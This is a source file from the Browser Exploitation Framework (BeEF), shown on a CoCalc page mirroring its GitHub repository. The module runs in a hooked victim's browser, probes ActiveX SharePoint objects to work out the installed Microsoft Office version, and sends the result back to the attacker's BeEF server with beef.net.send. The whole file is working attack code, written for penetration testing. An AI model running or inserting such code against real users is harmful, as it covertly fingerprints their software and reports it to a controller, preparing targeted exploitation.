Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/detect_office/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var ma = 1;
9
var mb = 1;
10
var mc = 1;
11
var md = 1;
12
try {
13
ma = new ActiveXObject("SharePoint.OpenDocuments.4")
14
} catch (e) {}
15
try {
16
mb = new ActiveXObject("SharePoint.OpenDocuments.3")
17
} catch (e) {}
18
try {
19
mc = new ActiveXObject("SharePoint.OpenDocuments.2")
20
} catch (e) {}
21
try {
22
md = new ActiveXObject("SharePoint.OpenDocuments.1")
23
} catch (e) {}
24
var a = typeof ma;
25
var b = typeof mb;
26
var c = typeof mc;
27
var d = typeof md;
28
var key = "No Office Found";
29
if (a == "object" && b == "object" && c == "object" && d == "object") {
30
key = "Office 2010"
31
}
32
if (a == "number" && b == "object" && c == "object" && d == "object") {
33
key = "Office 2007"
34
}
35
if (a == "number" && b == "number" && c == "object" && d == "object") {
36
key = "Office 2003"
37
}
38
if (a == "number" && b == "number" && c == "number" && d == "object") {
39
key = "Office Xp"
40
}
41
beef.net.send("<%= @command_url %>", <%= @command_id %>, "office="+key);
42
43
});
44
45
46